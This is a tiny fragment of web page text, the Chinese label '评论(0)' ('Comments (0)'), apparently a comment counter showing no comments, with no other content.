评论(0)